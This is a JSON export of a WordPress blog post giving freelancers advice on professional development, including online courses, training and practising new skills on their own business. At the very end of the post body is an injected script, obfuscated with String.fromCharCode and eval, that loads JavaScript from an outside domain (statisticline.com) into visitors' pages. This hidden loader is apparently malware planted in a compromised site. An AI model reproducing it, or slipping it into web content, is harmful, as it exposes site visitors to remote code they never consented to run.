{"id":5673,"date":"2023-06-09T10:56:40","date_gmt":"2023-06-09T10:56:40","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/personal-and-professional-development-for-freelancers-learn-more-to-earn-more\/"},"modified":"2023-06-09T10:56:40","modified_gmt":"2023-06-09T10:56:40","slug":"personal-and-professional-development-for-freelancers-learn-more-to-earn-more","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/personal-and-professional-development-for-freelancers-learn-more-to-earn-more\/","title":{"rendered":"Personal and Professional Development for Freelancers: Learn More to Earn More"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/personal-and-professional-development-for-freelancers-learn-more-to-earn-more\/#What_have_I_done_to_develop_my_freelance_skills\" title=\"What have I done to develop my freelance skills?\">What have I done to develop my freelance skills?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/personal-and-professional-development-for-freelancers-learn-more-to-earn-more\/#How_can_you_develop_your_freelance_skills\" title=\"How can you&nbsp;develop your&nbsp;freelance skills?\">How can you&nbsp;develop your&nbsp;freelance skills?<\/a><\/li><\/ul><\/nav><\/div>\n<p><img class=&quot;aligncenter size-large wp-image-1224&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2014\/09\/Professional-Development-for-Freelancers-720x369.jpg&quot; alt=&quot;Professional Development for Freelancers&quot; width=&quot;676&quot; height=&quot;346&quot; \/><\/p>\n<p>When you first go freelance, you&#8217;re likely going to build your business on your existing skill set and knowledge. Whether you&#8217;re a freelance photographer, web designer or writer, you will have built up the confidence to go freelance as you know you are good &#8211; no, <em>excellent<\/em> &#8211; in a particular field.<\/p>\n<p>But after a few years of freelancing, you&#8217;ll find that the skills and knowledge demanded by clients (and so needed by you) will change. You&#8217;ll also find that new and younger freelancers, with knowledge of the latest techniques and technologies, will come through, adding further pressure in an already competitive market.<\/p>\n<p>This is where professional development comes in.<\/p>\n<p>As a freelancer, you&#8217;ll need to update your skills every so often, in line with client demands and the market in general, to make sure that you can keeping getting new freelance work.<\/p>\n<p>But there&#8217;s more to professional development as a freelancer than getting new work as keeping competitive.<\/p>\n<p>Phill Chambers, a freelance web designer, contacted me about his own interest in professional development:<\/p>\n<blockquote><p>&quot;I&#8217;m really interested in learning, so finding the right resources, practices and making time to develop new skills is something I strive to do and really enjoy. It also makes work more fun when you start on a new project and you can put new skills to use.&nbsp;&quot;<\/p><\/blockquote>\n<p>Yes, you <em>can<\/em> enjoy learning new skills and enjoy the fruits of our labour when you see a new project using your new abilities&nbsp;come to life.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"What_have_I_done_to_develop_my_freelance_skills\"><\/span>What have I done to develop my freelance skills?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>I like to walk the talk when giving out freelance advice, so here&#8217;s what I&#8217;ve done recently to further my freelance career:<\/p>\n<ul>\n<li>Built on my WordPress skills to launch our digital agency website at www.montfort.io<\/li>\n<li>Combined my personal blogging with learning how to optimise a WordPress site for SEO purposes<\/li>\n<li>Learnt Ruby on Rails to build a series of MVPs of web projects (&quot;scratching my itches&quot;) &#8211; see Why I Learned To Code for more on this<\/li>\n<li>Learnt the basics of email marketing and marketing automation to launch a&nbsp;30-day course on how to go freelance<\/li>\n<\/ul>\n<p>WordPress development, SEO, Web development, email marketing &#8211; all useful, practical skills that will stand me in good stead for years to come.<\/p>\n<p>And some of those new skills have been out to use in client projects already, giving me extra opportunists to earn on top of existing skill sets and freelance offerings.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_can_you_develop_your_freelance_skills\"><\/span>How can you&nbsp;develop your&nbsp;freelance skills?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Here&#8217;s a few ideas on how you can develop your skills as a freelancer and start to broaden what you can offer to clients.<\/p>\n<h3><strong>Identify new skills to learn or areas where you need to improve<\/strong><\/h3>\n<p>Your personal development as a freelancer starts with identifying exactly what areas you need to specialise in.<\/p>\n<p>As your time is precious, any time out from producing client work needs to be valuable. It&#8217;s wise to find what you areas need to know more about or skills you need to learn, before you waste time that would otherwise be billable to clients.<\/p>\n<p>Here&#8217;s a few questions to ask yourself to discover&nbsp;what skills and knowledge you need to develop:<\/p>\n<ul>\n<li>Has a client mentioned that they are looking into a related area to yours?<\/li>\n<li>Have you seen competitors or other freelancers move into new areas that you could too?<\/li>\n<li>Have you seen more articles in the media or online about an area that you want to know more about?<\/li>\n<li>If you don&#8217;t develop in a new area, will your clients move elsewhere?<\/li>\n<li>Will you start to lose new business if you don&#8217;t brush up your skills in a new area?<\/li>\n<\/ul>\n<p>Once you&#8217;ve answered those questions yourself, you cancome up with a shortlist of identified area, knowledge&nbsp;or skill set that you want to learn or find out more about.<\/p>\n<p>For example, Econsultancy has published the Digital Skills Index,&nbsp;a&nbsp;digital marketing quiz they allows you to see what areas you are strong in and which areas you need to develop in.<\/p>\n<p>Many professional membership bodies run training programmes relevant to your profession. Take a look at what training is on offer, either to find areas that you could learn about or to take the training courses themselves. Have a look around online to see if there&#8217;s a similar professional development plan for your freelance career path.<\/p>\n<h3><strong>Make time to learn new skills<\/strong><\/h3>\n<p>Once you&#8217;ve identified a subject you want to learn, it&#8217;s recommended that you create a learning plan. This means that your time wi be used most effectively when you&#8217;re learning and keeps you on track to where you want to be.<\/p>\n<p>Learning small amounts on consecutive days has been proven as&nbsp;much more effective than learning large amounts sporadically. Try to set aside time to learn every day &#8211; however little.<\/p>\n<p>Repeat \u201cfocus bursts,\u201d where you&nbsp;give your&nbsp;best effort for a short period, then take fulfilling and refreshing breaks.<\/p>\n<p>It can be as little as 15 minutes, but as long as you are practising or studying little and often, you&#8217;ll start to make big gains within a few weeks.<\/p>\n<p>Learn about ways you can&nbsp;speed up the learning process.<\/p>\n<h3><strong>Take an online course<\/strong><\/h3>\n<p>There are a whole load of online education sites now available covering just about everything you could want to learn as a freelancer.<\/p>\n<p>Here are a few I my favourites that I&#8217;ve used before and a brief description of the subjects they cover:<\/p>\n<ul>\n<li><strong>Codecademy:<\/strong>&nbsp;Interactive courses on how to program. Courses are created by the community and cover CSS, Java, HTML and more.<\/li>\n<li><strong>Code School:&nbsp;<\/strong>Teaches web technologies in the comfort of your browser with video lessons, coding challenges, and screencasts. Slightly wider range of courses than Codecademy.<\/li>\n<li><strong>Dash:<\/strong> New platform from General Assembly.&nbsp;<em>Dash<\/em> teaches HTML, CSS, and Javascript, but also offers training around digital marketing and running a digital business.<\/li>\n<li><strong>Tuts+:<\/strong> More geared towards design, there over 5 million people using Tuts+ each month to learn skills including code, illustration, photography, web design, and more.<\/li>\n<li><strong>Futurelearn:<\/strong> A coalition of British universities offering free courses on a range of topics; from Science &amp; Technology to Arts &amp; Humanities, from Body &amp; Mind to Business &amp; Management.<\/li>\n<li><strong>Khan Academy:<\/strong>&nbsp;With over 17 million people using this free site, Khan Academy is probably the original (and best?) free online learning site. Take a look at their &quot;You Can Learn Anything&quot; hub for inspiring stories of how people are using the platform.<\/li>\n<\/ul>\n<p>There are lots more sites out there, many with a free trail period, so take a look around and try out a course in a skill that appeals to you.<\/p>\n<h3><strong>Attend a training day or course<\/strong><\/h3>\n<p>There are plenty of training courses out there for all areas of interests, running from a few hours to several weeks.<\/p>\n<p>While a day course will only be able to cover the basics of whatever subject you&#8217;re learning, it will give you a good idea if that area is worth pursuing for you, how steep the learning curve is, and what kind of opportunities that subject will open up for you.<\/p>\n<p>Longer courses that run over several weeks will give you a deeper understanding of a subject and means that you&#8217;ll be more dedicated to learning in that new area. If they offer a recognised certificate or professional qualification at the end of the course, even better, as you can use this to prove to future clients your credentials in that new area.<\/p>\n<p>Training courses are also a great place to meet other professionals and freelancers, strengthening your network while you learn at the same time.<\/p>\n<p>If you don&#8217;t want to take a course, perhaps you can look to teaching one instead. While looking for training courses that might be of interest to you, you might spot a gap in a training provider&#8217;s offering where you can line yourself up to teach a course on an existing skill set you have.<\/p>\n<p>If yore strapped for cash, you could even offer to teach a class in return for getting&nbsp;a different course for free (although it&#8217;ll likely be more valuable to teach a class of 15 students and not take a class as an individual student!)<\/p>\n<h3><strong>Test your new skills on your own freelance business<\/strong><\/h3>\n<p>Before testing out your new skills on your clients, it will be easier and safer to practise those skills on your own business.<\/p>\n<p>Have you learnt web design? Try updating or improving your freelance website.<\/p>\n<p>Learnt email marketing? Start your own email newsletter to keep clients and colleagues updated on your freelance business.<\/p>\n<p>Learn social media marketing? Start up your own Twitter \/ Facebook \/ Google+ profiles and boost your own presence on the main social networks.<\/p>\n<p>Not only will you be able to put your newly acquired skills to use, but you&#8217;ll be able to learn more I n the fly about what works and what doesn&#8217;t work in this new area.<\/p>\n<p>An alternative option is to offer consultancy at no cost to charities or new&nbsp;business in your new area. A small, well-defined project will help you create a case study or piece for your portfolio, while helping out a new business or startup that might not&nbsp;normally have access to someone with your skills.<\/p>\n<h3><strong>Stretch yourself with existing clients <\/strong><\/h3>\n<p>Rather than try out your new skills on new clients, it makes more sense to work with existing clients.<\/p>\n<p>You&#8217;ll already have earned your client&#8217;s trust through other competed work and can be a better judge of how running a project in this new area will work for them.<\/p>\n<p>Just make sure you more confident that you can deliver excellent work for them, otherwise you risk losing your existing work as well as the new area you&#8217;re trying.<\/p>\n<h3><strong>Time to win new business and clients!<\/strong><\/h3>\n<p>There is lots more to professional development for freelancers, but once you are armed with a&nbsp;new skill set, confident that you can deliver on the project and that it armed with case studies proving you can do the work &#8211; and do it well &#8211; it&#8217;s time to get out there and win some clients in your new skill area.<\/p>\n<p><em>What professional development have you undertaken as a freelancer? What has been the most effective method&nbsp;of learning? Has learning a new skill or subject opened up more opportunities for you?<\/em><\/p>\n<p>&nsbp;<\/p>\n<p><strong><em>Enjoy this post? Sign up for my free newsletter to get the newest articles delivered straight to your inbox:<\/em><\/strong> <\/p>\n<p>[mc4wp_form]<\/p>\n<p>&nsbp;<br \/>\n<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>When you first go freelance, you&#8217;re likely going to build your business on your existing skill set and knowledge. Whether you&#8217;re a freelance photographer, web designer or writer, you will have built up the confidence to go freelance as you know you are good &#8211; no, excellent &#8211; in a particular field. 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